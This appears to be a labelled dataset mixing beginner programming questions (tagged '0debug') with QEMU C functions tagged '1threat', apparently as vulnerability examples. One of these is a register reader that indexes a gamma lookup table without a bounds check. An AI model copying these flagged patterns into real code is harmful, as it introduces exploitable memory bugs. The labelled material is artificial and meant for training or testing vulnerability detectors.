I'm working on a program that will calculate gross pay and net pay after taxes in C : I'm working on a project for a class that has me calculate gross pay, overtime pay, and net pay after taxes. Anything below $600 is taxed at 15% and anything above $600 is taxed at 20%. I believe I have all of my calculations correct; however, when I run the program it gives me incorrect answers. When I input hours worked at 45 and a wage of $15.25 I should get a gross pay of $724.38 and a net pay of $659.26. Instead, I'm returning a result of a net pay of $712.50 and a net pay of $645.00. Rather odd. Here's the code I got. #include<stdio.h> int main(void){ int hoursWorked, hourlyWage; float grossPay, netPay, overHours; printf("Please input number of hours worked. "); scanf(" %i", &hoursWorked); printf("Please input your hourly wage. "); scanf(" %i", &hourlyWage); if(hoursWorked <= 40){ grossPay = hourlyWage * hoursWorked; } else{ if(hoursWorked > 40){ overHours = hoursWorked - 40; grossPay = (overHours * (hourlyWage * 1.5)+ (hourlyWage * 40)); } } if(grossPay <= 600){ netPay = (grossPay - (grossPay * .15)); } else{ if(grossPay > 600){ netPay = (grossPay - (600 * .15) + ((grossPay - 600) * .2)); } } printf("Your gross pay was $%.2f", grossPay); printf("\nAnd your net pay was $%.2f after taxes", netPay); return 0; }
0debug
return ajax data on select option : for example this code can fetch data from db then return it on select option $(document).on('click', '.renew', function(){ var user_id3 = $(this).attr("id"); $.ajax({ url:"../controller/fetch_single.php", method:"POST", data:{user_id3:user_id3}, dataType:"json", success:function(data) { $('#bus_type').html(data.type); } }) }); the ajax is success and returning the json, but the select option still returning blank instead of the data coming from ajax, what am i doing wrong?
0debug
Game: Countries and cities : so I try to do game with java. Instruction: Console choose random letter and player have to write correct country and city. In my code I would like to show computer answer after player choice. But my code it doesn't work correct. It's my code: public class MainGame { public static int menu() { System.out.println(); System.out.println(" ****************************************"); System.out.println(" * MENU *"); System.out.println(" ****************************************"); System.out.println(" 1. Start"); System.out.println(" 2. Instruction"); System.out.println(" 0. The End"); Scanner in = new Scanner(System.in); int w = in.nextInt(); return w; } public static void main(String[] args) throws IOException { Scanner in = new Scanner(System.in); int choice = menu(); while (choice != 0) { switch (choice) { case 1: System.out.println("START"); country(); break; case 2: System.out.println("INSTRUCTION"); System.out.println("Bla bla bla"); break; } System.out.println("\nClick Enter, to continue..."); System.in.read(); choice = menu(); } System.out.println(" ****************************************"); System.out.println("\n The end \n\n"); } public static String answersCountry() { char znak = RandomLetter.ranomRandom(); for (int i = 0; i < 1; i++) { System.out.println("Wylosowana litera to: " + znak); switch (znak) { case 'A': System.out.println("Anglia"); break; case 'B': System.out.println("Belgia"); break; case 'C': System.out.println("Czechy"); break; case 'D': System.out.println("Dania"); break; case 'E': System.out.println("Egipt"); break; } } return answersCountry(); } public static char country() { Scanner scanner2 = new Scanner(System.in); boolean result = false; for (int i = 0; i < 1; i++) { char randomLetter = RandomLetter.ranomRandom(); while (result == false) { System.out.println("Entere country in the given letter: " + randomLetter); String countryName = scanner2.next(); char firstLetter1 = countryName.charAt(0); if (firstLetter1 == randomLetter) { System.out.println("Correct country."); System.out.println("Computer answer: " + answersCountry()); result = true; } else { System.out.println("Incorrect country"); result = false; break; } } boolean result1 = false; while (result1 == false) { System.out.println("Enter city in the given letter: " + randomLetter); String cityName = scanner2.next(); char firstLetter2 = cityName.charAt(0); if (firstLetter2 == randomLetter) { System.out.println("Correct city"); result1 = true; } else { System.out.println("Incorrect city"); result1 = false; break; } break; } } return country();}} and class with randomLetter: public class RandomLetter { public static char ranomRandom() { Random random = new Random(); char[] abc = {'A', 'B', 'C', 'D', 'E'}; int index = random.nextInt(abc.length); char randomLetter = abc[index]; return randomLetter;}} Could you tell me how to show **1** computer answer?
0debug
how to create mysql database backup file in windows : <p>I wrote the following code in cmd but it showing an error </p> <pre><code>&gt; cd C:\Program Files\MySQL\MySQL Server 5.5\bin &gt; mysqldump.exe –e –u[username] -p[password] [database name] &gt; C:\[filename].sql </code></pre> <p>error</p> <blockquote> <p>A required privilege is not held by client</p> </blockquote>
0debug
Shell Script return; : I'm analyzing a shell script and I'm a little confused with the piece of code bellow. Can someone explain me what **return;** is doing in this case? if [ -f "$BYPASS_EXISTING_NETWORK_TEST_FILE" ]; then dloginfo "Skipping existing network test; mandated by configuration." # Consume the file. rm -f "$BYPASS_EXISTING_NETWORK_TEST_FILE" return; fi
0debug
void tcg_region_reset_all(void) { unsigned int i; qemu_mutex_lock(&region.lock); region.current = 0; region.agg_size_full = 0; for (i = 0; i < n_tcg_ctxs; i++) { bool err = tcg_region_initial_alloc__locked(tcg_ctxs[i]); g_assert(!err); } qemu_mutex_unlock(&region.lock); }
1threat
in java constructor and main which one will execute first : package com.Interview.Constructor; public class ConstructorExp { public ConstructorExp() { System.out.println("Ctt"); } public static void main(String[] args) { System.out.println("Inside Main Methos"); System.out.println("Main"); } }
0debug
<p class="navbar-text">The World Awaits You</p> : <p>please assist, I would like to add this The World Awaits You</p> below my logo on wordpress site. where do i add additional html on header.php, i am not familiar with php at all.</p>
0debug
static always_inline void gen_qemu_ld32s(DisasContext *ctx, TCGv arg1, TCGv arg2) { if (unlikely(ctx->mem_idx)) { TCGv_i32 t0; tcg_gen_qemu_ld32u(arg1, arg2, ctx->mem_idx); t0 = tcg_temp_new_i32(); tcg_gen_trunc_tl_i32(t0, arg1); tcg_gen_bswap_i32(t0, t0); tcg_gen_ext_i32_tl(arg1, t0); tcg_temp_free_i32(t0); } else tcg_gen_qemu_ld32s(arg1, arg2, ctx->mem_idx); }
1threat
i have a trouble including the string header in visual stuidio community 2015 : Can someone look at the error below, i have tried around 10 articles on google, [![enter image description here][1]][1] [1]: http://i.stack.imgur.com/JhMvl.png
0debug
static uint16_t blizzard_reg_read(void *opaque, uint8_t reg) { BlizzardState *s = (BlizzardState *) opaque; switch (reg) { case 0x00: return 0xa5; case 0x02: return 0x83; case 0x04: return (s->pll - 1) | (1 << 7); case 0x06: return s->pll_range; case 0x08: return s->pll_ctrl & 0xff; case 0x0a: return s->pll_ctrl >> 8; case 0x0c: return s->pll_mode; case 0x0e: return s->clksel; case 0x10: case 0x14: return s->memenable; case 0x18: return s->memrefresh & 0xff; case 0x1a: return s->memrefresh >> 8; case 0x1c: return s->timing[0]; case 0x1e: return s->timing[1]; case 0x20: return s->timing[2]; case 0x24: return s->priority; case 0x28: return s->lcd_config; case 0x2a: return s->x >> 3; case 0x2c: return s->hndp; case 0x2e: return s->y & 0xff; case 0x30: return s->y >> 8; case 0x32: return s->vndp; case 0x34: return s->hsync; case 0x36: return s->skipx >> 3; case 0x38: return s->vsync; case 0x3a: return s->skipy; case 0x3c: return s->pclk; case 0x3e: return s->hssi_config[0]; case 0x40: return s->hssi_config[1]; case 0x42: return s->hssi_config[2]; case 0x44: return s->tv_config; case 0x46 ... 0x4c: return s->tv_timing[(reg - 0x46) >> 1]; case 0x4e: return s->vbi; case 0x50: return s->tv_x; case 0x52: return s->tv_y; case 0x54: return s->tv_test; case 0x56: return s->tv_filter_config; case 0x58: return s->tv_filter_idx; case 0x5a: if (s->tv_filter_idx < 0x20) return s->tv_filter_coeff[s->tv_filter_idx ++]; return 0; case 0x60: return s->yrc[0]; case 0x62: return s->yrc[1]; case 0x64: return s->u; case 0x66: return s->v; case 0x68: return s->mode; case 0x6a: return s->effect; case 0x6c: return s->ix[0] & 0xff; case 0x6e: return s->ix[0] >> 3; case 0x70: return s->ix[0] & 0xff; case 0x72: return s->ix[0] >> 3; case 0x74: return s->ix[1] & 0xff; case 0x76: return s->ix[1] >> 3; case 0x78: return s->ix[1] & 0xff; case 0x7a: return s->ix[1] >> 3; case 0x7c: return s->ox[0] & 0xff; case 0x7e: return s->ox[0] >> 3; case 0x80: return s->oy[0] & 0xff; case 0x82: return s->oy[0] >> 3; case 0x84: return s->ox[1] & 0xff; case 0x86: return s->ox[1] >> 3; case 0x88: return s->oy[1] & 0xff; case 0x8a: return s->oy[1] >> 3; case 0x8c: return s->iformat; case 0x8e: return s->source; case 0x90: return 0; case 0xa8: return s->border_r; case 0xaa: return s->border_g; case 0xac: return s->border_b; case 0xb4: return s->gamma_config; case 0xb6: return s->gamma_idx; case 0xb8: return s->gamma_lut[s->gamma_idx ++]; case 0xba: return s->matrix_ena; case 0xbc ... 0xde: return s->matrix_coeff[(reg - 0xbc) >> 1]; case 0xe0: return s->matrix_r; case 0xe2: return s->matrix_g; case 0xe4: return s->matrix_b; case 0xe6: return s->pm; case 0xe8: return s->status | (1 << 5); case 0xea: return s->rgbgpio_dir; case 0xec: return s->rgbgpio; case 0xee: return s->gpio_dir; case 0xf0: return s->gpio; case 0xf2: return s->gpio_edge[0]; case 0xf4: return s->gpio_edge[1]; case 0xf6: return s->gpio_irq; case 0xf8: return s->gpio_pdown; default: fprintf(stderr, "%s: unknown register %02x\n", __FUNCTION__, reg); return 0; } }
1threat
void bdrv_set_aio_context(BlockDriverState *bs, AioContext *new_context) { bdrv_drain(bs); bdrv_detach_aio_context(bs); aio_context_acquire(new_context); bdrv_attach_aio_context(bs, new_context); aio_context_release(new_context);
1threat
Hi, I'm new to programming and i'm not sure how to use the cout function : hey guys I've just started to study programming. In this code I'm finding the values inside an Array using n (size of matrix) that starts with indices 1;1 (is that okay to be used?) and after the code calculates the sin (using the formula in the code) it counts the amount of positive elements in the Array. And my question is, how do i use cout<< in a way that shows the conclusive number, instead of it counting after each value of sin? Thanks #include < iostream > #include < conio.h > #include < math.h > using namespace std; int main () { int n ; float f ; cout << "Kvadrat matriciin irembiig oruulnuu:" << endl ; //Энэ матриц квадрат байна. Яагаад гэвэл i,j = 1,....n. cin >> n; float A [n] [n] ; for ( int i = 1 ; i < n + 1 ; i++) { for ( int j = 1 ; j < n + 1 ; j++) { f = j ; f / = 2 ; A [i] [j] = float ( sin ( i + f ) ) ; cout << "[ " << i << "]" << "[" << j << "]" << A [i] [j] <<endl ; if ( A [i] [j] > 0 ) { int count = 0 ; count + = count + i ; } } } return 0; } EDIT: because when i write the cout<< withing the loop it counts it after calculating each sin value, but outside the loop it shows an error
0debug